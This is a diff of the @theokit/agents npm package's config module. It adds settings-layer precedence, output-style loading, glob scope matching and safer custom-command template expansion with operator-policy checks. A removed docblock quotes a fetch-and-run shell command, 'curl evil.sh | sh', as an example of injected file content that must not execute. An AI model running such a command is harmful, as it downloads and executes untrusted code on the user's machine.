@theokit/agents 13.0.0-next.9 → 13.1.0

package/dist/config.d.ts

@@ -1,6 +1,8 @@
 import { TheokitAgentError } from '@theokit/sdk/errors';
 import { z } from 'zod';
-import { TrustPosture } from '@theokit/sdk';
+import { TrustPosture, LayerValues } from '@theokit/sdk';
+export { DeclaredLayer, LayerValues } from '@theokit/sdk';
+import { R as ResolvedCompatSource } from './setting-sources-gate-DFu51i50.js';
 export { resolveEffectiveContextWindow as effectiveContextWindow } from '@theokit/sdk/compaction';
 
 /**
@@ -285,6 +287,32 @@ interface InstructionBlock {
      */
     readonly scopesUnreadable: boolean;
 }
+/**
+ * Does a block's `paths:` scope cover this file?
+ *
+ * `scopes` shipped without this, and the gap was not cosmetic: the field's own docblock names the
+ * consequence of getting it wrong — a rule written for one subtree applied EVERYWHERE, silently —
+ * and then hands the decision to the product. Delegating the DECISION is deliberate and unchanged.
+ * What was missing is the MEANS: no glob matcher existed anywhere in this package, so a consumer who
+ * wanted to honour a scope had to invent the semantics, and two consumers would invent two.
+ *
+ * `scopesUnreadable` answers FALSE, whatever the path. That is the fail-closed half the flag was
+ * invented for: a `paths:` that was declared and yielded nothing must not read as "no scope
+ * declared", because those two are indistinguishable in `scopes` alone and only one of them is safe
+ * to publish everywhere.
+ *
+ * ## What this supports, and what it refuses to guess
+ *
+ * `**` (crosses separators), `*` (does not), and `?` (one character) — the same three the SDK's own
+ * rule activation implements. Brace expansion `{a,b}` and character classes `[abc]` are NOT
+ * supported: a pattern using them matches literally and therefore almost certainly not at all.
+ *
+ * That is a deliberate floor rather than a step toward a glob library. Three wildcards are a dozen
+ * lines; a dependency for them carries a transitive tree into a package whose direct dependencies
+ * number three. If a caller needs the fuller grammar, that is a decision to make out loud — adding
+ * it quietly here would leave two half-grammars in one ecosystem.
+ */
+declare function blockAppliesTo(block: Pick<InstructionBlock, 'scopes' | 'scopesUnreadable'>, filePath: string): boolean;
 interface InstructionTreeBudget {
     /** How deep below each root to descend. */
     readonly maxDepth: number;
@@ -400,6 +428,16 @@ interface ComposedInstructions {
  */
 declare function composeInstructions(base: string, sources: readonly InstructionSource[], options: ComposeInstructionsOptions): ComposedInstructions;
 
+/**
+ * The narrowed half of `ResolvedCompatSource`, split out because the union's other half is the
+ * string literal `'claude-code'` — and `string | 'claude-code'` collapses to `string`, which would
+ * make the object arm unreachable to the type system.
+ *
+ * Its `kind` is that one literal today, so the loader below does not re-check it. A second foreign
+ * dialect would widen it, and would have to revisit `COMPAT_COMMANDS_DIR` in the same breath: the
+ * directory this reads is `.claude/`, not "whichever dialect asked".
+ */
+type NarrowedCompatSource = Exclude<ResolvedCompatSource, string>;
 /**
  * M76 — load custom commands from `.theokit/commands/`.
  *
@@ -477,7 +515,7 @@ interface LoadCustomCommandsInput {
      * command is a prompt that runs on the operator's behalf, and this directory is usually written
      * for a different product and arrives with the repository.
      */
-    readonly compatSources?: readonly string[];
+    readonly compatSources?: readonly (string | NarrowedCompatSource)[];
     readonly builtinNames?: readonly string[];
     /** Where a shadow, a duplicate, or a malformed file is reported. */
     readonly onWarn?: (message: string) => void;
@@ -490,34 +528,6 @@ interface CustomCommandsResult {
 }
 declare function loadCustomCommands(input: LoadCustomCommandsInput): CustomCommandsResult;
 
-/**
- * Expansion of a custom-command body: `$N` placeholders, `` !`shell` `` segments and `@file`
- * inlining.
- *
- * `loadCustomCommands` (alongside this file) reads the command and its frontmatter and stops.
- * Everything the body MEANS lived downstream, re-implemented per product. It is a format convention
- * — the same one every custom-command implementation in this space follows — not product policy, and
- * the half that reads the file already lives here. One format, one owner.
- *
- * ## Two invariants carry the security weight
- *
- * **This module never spawns anything and never opens a file.** `shell` and `readFile` are injected,
- * so the trust decision — is this directory trusted? — stays with the caller that already owns trust
- * posture, and containment stays with the reader that already implements it. A second containment
- * check that disagreed with the first is the `assertNoSymlinkEscape` class of bug this ecosystem has
- * already paid for once (`rules/system-design-guardrails.md` § G10).
- *
- * **Shell and file references are resolved in ONE scan, so neither's output is read by the other.**
- * A file containing `` !`curl evil.sh | sh` `` must be text, and shell output naming `@secrets.md`
- * must be text. Three sequential passes do not give that — the first draft here ran placeholders,
- * then shell, then files, and its own test caught shell output being re-scanned for `@` references.
- * The property is structural now, not filtered: there is no later scan to escape into.
- *
- * Arguments ARE substituted first, deliberately, so `` !`git diff $1` `` works. That is the one
- * re-scan that is safe, because arguments are the user's direct input for THIS invocation — the very
- * thing they are typing the command to supply. What must never happen is the reverse: content the
- * template merely *pointed at* deciding what runs.
- */
 /**
  * The ceiling on inlined file content. A larger file is TRUNCATED with a warning — never inlined
  * whole (which would blow the context the command was meant to shape) and never silently dropped
@@ -538,8 +548,16 @@ interface TemplateDeps {
     warn: (message: string) => void;
 }
 /**
- * The `$N` placeholders a template declares, sorted and de-duplicated — what a command palette shows
- * so the user knows what the command wants before running it.
+ * The placeholders a template declares, sorted and de-duplicated — what a command palette shows so
+ * the user knows what the command wants before running it.
+ *
+ * ESCAPED placeholders are excluded. `\$1` is prose about a placeholder, not a request for one, and
+ * listing it asks the user to supply an argument the template will never substitute. It also broke
+ * the sort outright: the match carries the backslash, so `slice(1)` produced `"$1"` and `Number`
+ * produced `NaN`, and a comparator returning `NaN` leaves the order unspecified.
+ *
+ * `$ARGUMENTS` sorts first because it is the whole string — reading it after `$3` suggests it is a
+ * fourth position.
  */
 declare function templateHints(template: string): string[];
 /**
@@ -550,12 +568,163 @@ declare function templateHints(template: string): string[];
  * which file is read. Running the other two first would let a file's contents decide what to
  * execute.
  *
- * Nothing here throws. A command whose shell segment failed or whose file is missing still produces
- * a usable prompt, with a warning naming what did not resolve — which is more useful than an error
- * that discards the whole body.
+ * Throws in exactly two cases, both of which produce NO prompt rather than a wrong one: a fenced
+ * ```` ```! ```` block (never executed, previously passed through as markdown) and an injected
+ * command that failed (the spec aborts the invocation). Everything else — a missing `@file`, an
+ * out-of-range `$N`, an oversized file — still produces a usable prompt with a warning naming what
+ * did not resolve, which is more useful than discarding the whole body.
+ *
+ * The line between the two is what the template CAUSED versus what it POINTED at.
  */
 declare function expandCommandTemplate(template: string, rawArgs: string, deps: TemplateDeps): Promise<string>;
 
+/**
+ * B-067 — the settings precedence stack, NAMED.
+ *
+ * `@theokit/sdk` ships the mechanism and deliberately not the vocabulary: `foldLayers` folds an
+ * array of `{ layer, precedence?, values }`, `verifyLayerOrdering` refuses a chain that contradicts
+ * itself, and `DeclaredLayer.layer` is a free-form `string` whose `precedence` is optional. That is
+ * the right shape for a library — it cannot know what layers a consumer has — and it leaves one
+ * thing undecided that two consumers must agree on: WHICH layers exist, and in what order.
+ *
+ * Until this file, they did not agree, and nothing could tell. Two products could each invent their
+ * own names and numbers, fold in opposite orders, and both pass `verifyLayerOrdering`, because a
+ * chain is only checked against itself. B-026 named three levels — managed settings above the
+ * project file above `defineAgent()` — for the four keys the operator policy carries; a consumer
+ * implementing a fifth key had nothing to consult and invented an order that type-checked.
+ *
+ * ## The order, and where it comes from
+ *
+ * The five file levels and their order are the format's, measured against
+ * <https://code.claude.com/docs/en/settings> on 2026-09-11 (highest first there, lowest first here):
+ * managed settings, command line, project local, shared project, user. `code` is added below all of
+ * them and is ours: a value passed to `defineAgent()` is the weakest thing in the system, because
+ * every file above it is editable by a human who did not write the code and is answerable for what
+ * the agent does on their machine.
+ *
+ * That ordering is the whole operator tier in one line. Reversing any pair of it — letting a project
+ * file outrank managed settings, or code outrank a file — turns the tier into a suggestion.
+ *
+ * ## Why this is here and not in the SDK
+ *
+ * Same reason as `operator-policy.ts` beside it: this package depends on a PUBLISHED
+ * `@theokit/sdk`, so a symbol added to that package's source is not importable here until somebody
+ * cuts a release. The names and the order are the contract, and they are stated where the consumer
+ * that needs them can reach them today. What must not drift is the ORDER, which is the format's and
+ * not ours to change.
+ */
+
+/**
+ * Every layer that can supply a setting, named.
+ *
+ * A union rather than a string, so adding one is a compile-time event everywhere a layer is handled
+ * — the property `DeclaredLayer.layer: string` cannot give, and the reason this file exists.
+ */
+type SettingsLayer = 
+/** Values passed to `defineAgent()` / the builder. The weakest: code loses to every file. */
+'code'
+/** `~/.claude/settings.json` — you, in every project. */
+ | 'user'
+/** `.claude/settings.json` — everyone in the project. */
+ | 'project-shared'
+/** `.claude/settings.local.json` — you, in this project. */
+ | 'project-local'
+/** `claude --settings` — you, in this session. */
+ | 'command-line'
+/** `managed-settings.json`, MDM, or the console. Your organisation. A project cannot widen it. */
+ | 'managed';
+/**
+ * The FILE layers, lowest precedence first — the array `foldLayers` is given.
+ *
+ * `code` is deliberately absent: it is not a settings file, it is the value the caller passed, and a
+ * chain that folded it as a peer would invite somebody to place it above one. {@link settingsLayerChain}
+ * puts it at the bottom, which is the only position it has.
+ *
+ * The numbers are spaced by ten so a level can be inserted between two without renumbering the
+ * stack — a renumber is exactly the kind of edit that silently reorders a fold somewhere else.
+ */
+declare const SETTINGS_LAYERS: readonly [{
+    readonly layer: "user";
+    readonly precedence: 10;
+}, {
+    readonly layer: "project-shared";
+    readonly precedence: 20;
+}, {
+    readonly layer: "project-local";
+    readonly precedence: 30;
+}, {
+    readonly layer: "command-line";
+    readonly precedence: 40;
+}, {
+    readonly layer: "managed";
+    readonly precedence: 50;
+}];
+/**
+ * Compile-time exhaustiveness: a layer added to {@link SettingsLayer} without a position here makes
+ * this line fail to compile.
+ *
+ * The same gate `capability-zero-behavior.test.ts` puts on the compiled-options waist, for the same
+ * reason — a new member that nobody placed is a member somebody will place at random, once, in the
+ * file where they happened to need it.
+ */
+type Positioned = (typeof SETTINGS_LAYERS)[number]['layer'] | 'code';
+type _Exhaustive = Exclude<SettingsLayer, Positioned> extends never ? true : ['unpositioned settings layer'];
+declare const LAYERS_ARE_POSITIONED: _Exhaustive;
+/** The precedence of a layer. Higher wins. */
+declare function layerPrecedence(layer: SettingsLayer): number;
+/**
+ * Build the `foldLayers` input from values keyed by layer name.
+ *
+ * Sorted by declared precedence rather than by the object's key order, because an object literal's
+ * order is the author's typing order and folding by it would make precedence depend on where
+ * somebody happened to add a line. Layers with no values are omitted: a layer that supplies nothing
+ * and a layer that does not exist fold identically, and inventing an empty entry for the first would
+ * make the chain longer without making it truer.
+ */
+declare function settingsLayerChain(values: Partial<Record<SettingsLayer, Readonly<Record<string, unknown>>>>): LayerValues[];
+
+/**
+ * A style was named and could not be read.
+ *
+ * Typed, and carrying the directories it searched, because the whole point of the refusal is that
+ * the author learns WHICH lookup failed. `error-handling.md` § 2: fail fast, fail clear.
+ */
+declare class OutputStyleError extends TheokitAgentError {
+    readonly name = "OutputStyleError";
+    constructor(message: string);
+}
+interface OutputStyle {
+    /** The filename without `.md` — what `outputStyle` in settings refers to. */
+    readonly name: string;
+    /** The body, which becomes a section of the system prompt. */
+    readonly content: string;
+    /** The `description` frontmatter key, when present. */
+    readonly description?: string;
+    /**
+     * `keep-coding-instructions: true` in frontmatter.
+     *
+     * The field with teeth. A style REPLACES the built-in software-engineering instructions by
+     * default, so a consumer who does not know that loses them without being told. Carried here so
+     * the decision belongs to the caller rather than to whoever wrote the style file.
+     */
+    readonly keepCodingInstructions: boolean;
+}
+interface LoadOutputStyleInput {
+    /** The style to load, from `settings.json`'s `outputStyle`. `undefined` means none was asked for. */
+    readonly name: string | undefined;
+    /** Project root. Its `.claude/output-styles/` wins over the home directory's. */
+    readonly cwd: string;
+    /** Home directory, for styles that apply across every project. Omit to search the project only. */
+    readonly homeDir?: string;
+}
+/**
+ * The named style, or `undefined` when none was requested.
+ *
+ * @throws OutputStyleError when a style IS named and no file backs it, listing the directories that
+ * were searched.
+ */
+declare function loadOutputStyle(input: LoadOutputStyleInput): OutputStyle | undefined;
+
 /**
  * Split a markdown file into frontmatter lines and body.
  *
@@ -645,4 +814,4 @@ declare class ContextPressureThresholdError extends TheokitAgentError {
  */
 declare function contextPressure(usedTokens: number, effectiveWindow: number, thresholds?: ContextPressureThresholds): ContextPressure;
 
-export { type ComposeInstructionsOptions, type ComposedInstructions, type ConfigLayer, type ContextPressure, ContextPressureThresholdError, type ContextPressureThresholds, type CustomCommand, type CustomCommandsResult, DEFAULT_CONTEXT_PRESSURE_THRESHOLDS, type ExpandImportsInput, FILE_INLINE_CAP, type InstructionBlock, type InstructionSource, type InstructionTree, type InstructionTreeBudget, LayerOutOfOrderError, LayeredConfig, type LayeredConfigInput, type LayeredConfigResult, type LoadCustomCommandsInput, type LoadInstructionTreeInput, type ParsedFrontmatter, type PrecedenceReport, type ProvenancePerKey, type ShellResult, type TemplateDeps, type TrustRecord, TrustStore, TrustStorePermissionsError, composeInstructions, contextPressure, expandCommandTemplate, expandInstructionImports, frontmatterValue, loadCustomCommands, loadInstructionTree, splitFrontmatter, templateHints };
+export { type ComposeInstructionsOptions, type ComposedInstructions, type ConfigLayer, type ContextPressure, ContextPressureThresholdError, type ContextPressureThresholds, type CustomCommand, type CustomCommandsResult, DEFAULT_CONTEXT_PRESSURE_THRESHOLDS, type ExpandImportsInput, FILE_INLINE_CAP, type InstructionBlock, type InstructionSource, type InstructionTree, type InstructionTreeBudget, LAYERS_ARE_POSITIONED, LayerOutOfOrderError, LayeredConfig, type LayeredConfigInput, type LayeredConfigResult, type LoadCustomCommandsInput, type LoadInstructionTreeInput, type LoadOutputStyleInput, type OutputStyle, OutputStyleError, type ParsedFrontmatter, type PrecedenceReport, type ProvenancePerKey, SETTINGS_LAYERS, type SettingsLayer, type ShellResult, type TemplateDeps, type TrustRecord, TrustStore, TrustStorePermissionsError, blockAppliesTo, composeInstructions, contextPressure, expandCommandTemplate, expandInstructionImports, frontmatterValue, layerPrecedence, loadCustomCommands, loadInstructionTree, loadOutputStyle, settingsLayerChain, splitFrontmatter, templateHints };

package/dist/config.js

@@ -1,6 +1,12 @@
 import {
   ensureSecureDir
 } from "./chunk-D2EFYZBV.js";
+import {
+  currentOperatorPolicy
+} from "./chunk-M5DRNOIU.js";
+import {
+  ConfigurationError
+} from "./chunk-U72XTMYB.js";
 import {
   __name
 } from "./chunk-Z4QWC7IK.js";
@@ -321,6 +327,35 @@ function frontmatterValue(frontmatter, key) {
 __name(frontmatterValue, "frontmatterValue");
 
 // src/config/instruction-tree.ts
+function blockAppliesTo(block, filePath) {
+  if (block.scopesUnreadable) return false;
+  if (block.scopes.length === 0) return true;
+  return block.scopes.some((scope) => globToRegExp(scope).test(filePath));
+}
+__name(blockAppliesTo, "blockAppliesTo");
+function globToRegExp(scope) {
+  let out = "";
+  for (let i = 0; i < scope.length; i += 1) {
+    const char = scope[i];
+    if (char === "*") {
+      if (scope[i + 1] === "*") {
+        out += ".*";
+        i += 1;
+        if (scope[i + 1] === "/") i += 1;
+        continue;
+      }
+      out += "[^/]*";
+      continue;
+    }
+    if (char === "?") {
+      out += "[^/]";
+      continue;
+    }
+    out += char.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
+  }
+  return new RegExp(`^${out}$`);
+}
+__name(globToRegExp, "globToRegExp");
 var DEFAULT_FILE_NAMES = [
   "THEO.md",
   "AGENTS.md"
@@ -529,19 +564,61 @@ function composeInstructions(base, sources, options) {
 __name(composeInstructions, "composeInstructions");
 
 // src/config/custom-commands.ts
-import { readFileSync as readFileSync4, readdirSync as readdirSync2, statSync as statSync3 } from "fs";
-import { extname, join as join2, relative as relative2 } from "path";
-var COMMANDS_DIR = join2(".theokit", "commands");
-var COMPAT_COMMANDS_DIR = join2(".claude", "commands");
+import { readFileSync as readFileSync4, readdirSync as readdirSync3, statSync as statSync3 } from "fs";
+import { extname, join as join3, relative as relative2 } from "path";
+
+// src/bridge/unloaded-surfaces.ts
+import { existsSync as existsSync3, readdirSync as readdirSync2 } from "fs";
+import { join as join2 } from "path";
+var WORKFLOWS_DIR = join2(".claude", "workflows");
+var SCRIPT_SUFFIXES = [
+  ".js",
+  ".mjs",
+  ".cjs"
+];
+function reportUnloadedSurfaces(input) {
+  const dir = join2(input.cwd, WORKFLOWS_DIR);
+  if (!existsSync3(dir)) return;
+  let scripts;
+  try {
+    scripts = readdirSync2(dir).filter((f) => SCRIPT_SUFFIXES.some((s) => f.endsWith(s)));
+  } catch {
+    return;
+  }
+  if (scripts.length === 0) return;
+  input.onWarn(`${WORKFLOWS_DIR}: found ${String(scripts.length)} workflow script(s) \u2014 ${[
+    ...scripts
+  ].sort((a, b) => a.localeCompare(b)).join(", ")} \u2014 which this runtime does NOT execute. Every configuration surface it loads is data (commands, hooks, plugins, skills, subagents); a workflow file is code, and executing JavaScript found under a caller-supplied directory is a trust decision that belongs to you rather than to this library. The orchestration itself is supported: build the same pipeline with Workflow / agentStep / createSquad from @theokit/sdk, which you import explicitly.`);
+}
+__name(reportUnloadedSurfaces, "reportUnloadedSurfaces");
+
+// src/config/custom-commands.ts
+var COMMANDS_DIR = join3(".theokit", "commands");
+var COMPAT_COMMANDS_DIR = join3(".claude", "commands");
 var CLAUDE_CODE_SOURCE = "claude-code";
 var IGNORE_WARNING3 = /* @__PURE__ */ __name(() => void 0, "IGNORE_WARNING");
+function declaresCommands(sources) {
+  return sources?.some((source) => typeof source === "string" ? source === CLAUDE_CODE_SOURCE : source.import.includes("commands")) === true;
+}
+__name(declaresCommands, "declaresCommands");
+function declaresClaudeCode(sources) {
+  return sources?.some((source) => (
+    // The narrowed form IS a declaration of this dialect by construction — its `kind` is the one
+    // literal, which is why `declaresCommands` does not re-check it either and why the
+    // `NarrowedCompatSource` docblock says a second dialect must revisit both. Comparing it here
+    // would be a runtime check the type already makes, and `no-unnecessary-condition` is right
+    // about that: the type is not lying, there is exactly one dialect.
+    typeof source !== "string" || source === CLAUDE_CODE_SOURCE
+  )) === true;
+}
+__name(declaresClaudeCode, "declaresClaudeCode");
 function projectCommandDirs(input) {
   if (input.projectDir === void 0) return [];
   const dirs = [];
-  if (input.compatSources?.includes(CLAUDE_CODE_SOURCE) === true) {
-    dirs.push(join2(input.projectDir, COMPAT_COMMANDS_DIR));
+  if (declaresCommands(input.compatSources)) {
+    dirs.push(join3(input.projectDir, COMPAT_COMMANDS_DIR));
   }
-  dirs.push(join2(input.projectDir, COMMANDS_DIR));
+  dirs.push(join3(input.projectDir, COMMANDS_DIR));
   return dirs;
 }
 __name(projectCommandDirs, "projectCommandDirs");
@@ -567,8 +644,14 @@ __name(mergeProjectCommands, "mergeProjectCommands");
 function loadCustomCommands(input) {
   const warn = input.onWarn ?? IGNORE_WARNING3;
   const loaded = /* @__PURE__ */ new Map();
+  if (input.projectDir !== void 0 && declaresClaudeCode(input.compatSources)) {
+    reportUnloadedSurfaces({
+      cwd: input.projectDir,
+      onWarn: warn
+    });
+  }
   if (input.homeDir !== void 0) {
-    for (const command of readCommandsDir(join2(input.homeDir, COMMANDS_DIR), "user", warn)) {
+    for (const command of readCommandsDir(join3(input.homeDir, COMMANDS_DIR), "user", warn)) {
       loaded.set(command.name, command);
     }
   }
@@ -597,14 +680,14 @@ __name(byProjectThenName, "byProjectThenName");
 function readCommandsDir(dir, source, warn, root = dir) {
   let entries;
   try {
-    entries = readdirSync2(dir);
+    entries = readdirSync3(dir);
   } catch {
     return [];
   }
   entries.sort((a, b) => a.localeCompare(b));
   const commands = [];
   for (const entry of entries) {
-    const path = join2(dir, entry);
+    const path = join3(dir, entry);
     let stats;
     try {
       stats = statSync3(path);
@@ -652,8 +735,9 @@ function parseCommandFile(path, entry, source, warn) {
 __name(parseCommandFile, "parseCommandFile");
 
 // src/config/command-template.ts
-var PLACEHOLDER_REGEX = /\$(\d+)/g;
-var REFERENCE_REGEX = /!`(?<cmd>[^`]+)`|(?<!\S)@(?<file>[^\s`,]*[^\s`,.])/g;
+var PLACEHOLDER_REGEX = /(\\)?\$(ARGUMENTS\b|\d+)/g;
+var REFERENCE_REGEX = /(?<!\S)!`(?<cmd>[^`]+)`|(?<!\S)@(?<file>[^\s`,]*[^\s`,.])/g;
+var FENCED_COMMAND_REGEX = /^```!\s*$/m;
 var ARGS_REGEX = /(?:\[Image\s+\d+]|"[^"]*"|'[^']*'|[^\s"']+)/gi;
 var QUOTE_TRIM_REGEX = /^["']|["']$/g;
 var FILE_INLINE_CAP = 64 * 1024;
@@ -662,12 +746,23 @@ function splitArgs(rawArgs) {
 }
 __name(splitArgs, "splitArgs");
 function templateHints(template) {
-  const found = template.match(PLACEHOLDER_REGEX) ?? [];
+  const found = [];
+  for (const match of template.matchAll(PLACEHOLDER_REGEX)) {
+    if (match[1] !== void 0) continue;
+    found.push(match[0]);
+  }
   return [
     ...new Set(found)
-  ].sort((a, b) => Number(a.slice(1)) - Number(b.slice(1)));
+  ].sort(comparePlaceholders);
 }
 __name(templateHints, "templateHints");
+function comparePlaceholders(a, b) {
+  if (a === b) return 0;
+  if (a === "$ARGUMENTS") return -1;
+  if (b === "$ARGUMENTS") return 1;
+  return Number(a.slice(1)) - Number(b.slice(1));
+}
+__name(comparePlaceholders, "comparePlaceholders");
 async function replaceAsync(source, pattern, resolve4) {
   const matches = [
     ...source.matchAll(pattern)
@@ -684,9 +779,16 @@ async function replaceAsync(source, pattern, resolve4) {
 }
 __name(replaceAsync, "replaceAsync");
 async function expandCommandTemplate(template, rawArgs, deps) {
+  if (FENCED_COMMAND_REGEX.test(template)) {
+    throw new ConfigurationError("command template uses a fenced ````!` command block, which this runtime does not execute. Use the inline form \u2014 !`command` \u2014 one per command. The fenced block was previously passed through unchanged, so the model read the commands as markdown and nothing ran.", {
+      code: "command_template_fenced_block"
+    });
+  }
   const args = splitArgs(rawArgs);
   const withArgs = await replaceAsync(template, PLACEHOLDER_REGEX, (match) => {
-    const index = Number(match[1]) - 1;
+    if (match[1] !== void 0) return `$${match[2]}`;
+    if (match[2] === "ARGUMENTS") return rawArgs;
+    const index = Number(match[2]) - 1;
     if (index < 0 || index >= args.length) {
       deps.warn(`command template references ${match[0]} but only ${String(args.length)} argument(s) were given`);
       return "";
@@ -696,9 +798,16 @@ async function expandCommandTemplate(template, rawArgs, deps) {
   return replaceAsync(withArgs, REFERENCE_REGEX, async (match) => {
     const command = match.groups?.cmd;
     if (command !== void 0) {
+      if (currentOperatorPolicy(deps.warn).disableSkillShellExecution === true) {
+        throw new ConfigurationError(`command template segment \`${command}\` was not run: an operator policy (managed-settings.json) declares disableSkillShellExecution.`, {
+          code: "command_template_shell_forbidden"
+        });
+      }
       const result = await deps.shell(command);
       if (!result.ok) {
-        deps.warn(`command template segment \`${command}\` failed`);
+        throw new ConfigurationError(`command template segment \`${command}\` failed: ${result.text}`, {
+          code: "command_template_segment_failed"
+        });
       }
       return result.text;
     }
@@ -717,14 +826,101 @@ async function expandCommandTemplate(template, rawArgs, deps) {
 }
 __name(expandCommandTemplate, "expandCommandTemplate");
 
+// src/config/settings-layers.ts
+var SETTINGS_LAYERS = [
+  {
+    layer: "user",
+    precedence: 10
+  },
+  {
+    layer: "project-shared",
+    precedence: 20
+  },
+  {
+    layer: "project-local",
+    precedence: 30
+  },
+  {
+    layer: "command-line",
+    precedence: 40
+  },
+  {
+    layer: "managed",
+    precedence: 50
+  }
+];
+var CODE_PRECEDENCE = 0;
+var LAYERS_ARE_POSITIONED = true;
+function layerPrecedence(layer) {
+  if (layer === "code") return CODE_PRECEDENCE;
+  const found = SETTINGS_LAYERS.find((l) => l.layer === layer);
+  if (!found) throw new Error(`settings layer has no declared precedence: ${layer}`);
+  return found.precedence;
+}
+__name(layerPrecedence, "layerPrecedence");
+function settingsLayerChain(values) {
+  const entries = Object.entries(values);
+  return entries.filter((e) => e[1] !== void 0).map(([layer, v]) => ({
+    layer,
+    precedence: layerPrecedence(layer),
+    values: v
+  })).sort((a, b) => a.precedence - b.precedence);
+}
+__name(settingsLayerChain, "settingsLayerChain");
+
+// src/config/output-styles.ts
+import { existsSync as existsSync4, readFileSync as readFileSync5 } from "fs";
+import { join as join4 } from "path";
+import { TheokitAgentError as TheokitAgentError3 } from "@theokit/sdk/errors";
+var OUTPUT_STYLES_DIR = join4(".claude", "output-styles");
+var OutputStyleError = class extends TheokitAgentError3 {
+  static {
+    __name(this, "OutputStyleError");
+  }
+  name = "OutputStyleError";
+  constructor(message) {
+    super(`[@theokit/agents] ${message}`, {
+      code: "output_style_not_found",
+      isRetryable: false
+    });
+  }
+};
+function loadOutputStyle(input) {
+  if (input.name === void 0) return void 0;
+  const searched = [
+    join4(input.cwd, OUTPUT_STYLES_DIR),
+    ...input.homeDir === void 0 ? [] : [
+      join4(input.homeDir, OUTPUT_STYLES_DIR)
+    ]
+  ];
+  for (const dir of searched) {
+    const path = join4(dir, `${input.name}.md`);
+    if (!existsSync4(path)) continue;
+    const raw = readFileSync5(path, "utf8");
+    const parsed = splitFrontmatter(raw);
+    const body = parsed === void 0 ? raw : parsed.body;
+    const description = parsed === void 0 ? void 0 : frontmatterValue(parsed.frontmatter, "description");
+    return {
+      name: input.name,
+      content: body.trim(),
+      ...description === void 0 ? {} : {
+        description
+      },
+      keepCodingInstructions: parsed !== void 0 && frontmatterValue(parsed.frontmatter, "keep-coding-instructions") === "true"
+    };
+  }
+  throw new OutputStyleError(`output style "${input.name}" is configured and no file backs it. Looked for ${input.name}.md in: ${searched.join(", ")}. A style that cannot be read is not applied, and a silent fallback would be indistinguishable from a style that had no effect.`);
+}
+__name(loadOutputStyle, "loadOutputStyle");
+
 // src/config/context-pressure.ts
 import { resolveEffectiveContextWindow } from "@theokit/sdk/compaction";
-import { TheokitAgentError as TheokitAgentError3 } from "@theokit/sdk/errors";
+import { TheokitAgentError as TheokitAgentError4 } from "@theokit/sdk/errors";
 var DEFAULT_CONTEXT_PRESSURE_THRESHOLDS = {
   warn: 0.75,
   critical: 0.9
 };
-var ContextPressureThresholdError = class extends TheokitAgentError3 {
+var ContextPressureThresholdError = class extends TheokitAgentError4 {
   static {
     __name(this, "ContextPressureThresholdError");
   }
@@ -752,18 +948,25 @@ export {
   ContextPressureThresholdError,
   DEFAULT_CONTEXT_PRESSURE_THRESHOLDS,
   FILE_INLINE_CAP,
+  LAYERS_ARE_POSITIONED,
   LayerOutOfOrderError,
   LayeredConfig,
+  OutputStyleError,
+  SETTINGS_LAYERS,
   TrustStore,
   TrustStorePermissionsError,
+  blockAppliesTo,
   composeInstructions,
   contextPressure,
   resolveEffectiveContextWindow as effectiveContextWindow,
   expandCommandTemplate,
   expandInstructionImports,
   frontmatterValue,
+  layerPrecedence,
   loadCustomCommands,
   loadInstructionTree,
+  loadOutputStyle,
+  settingsLayerChain,
   splitFrontmatter,
   templateHints
 };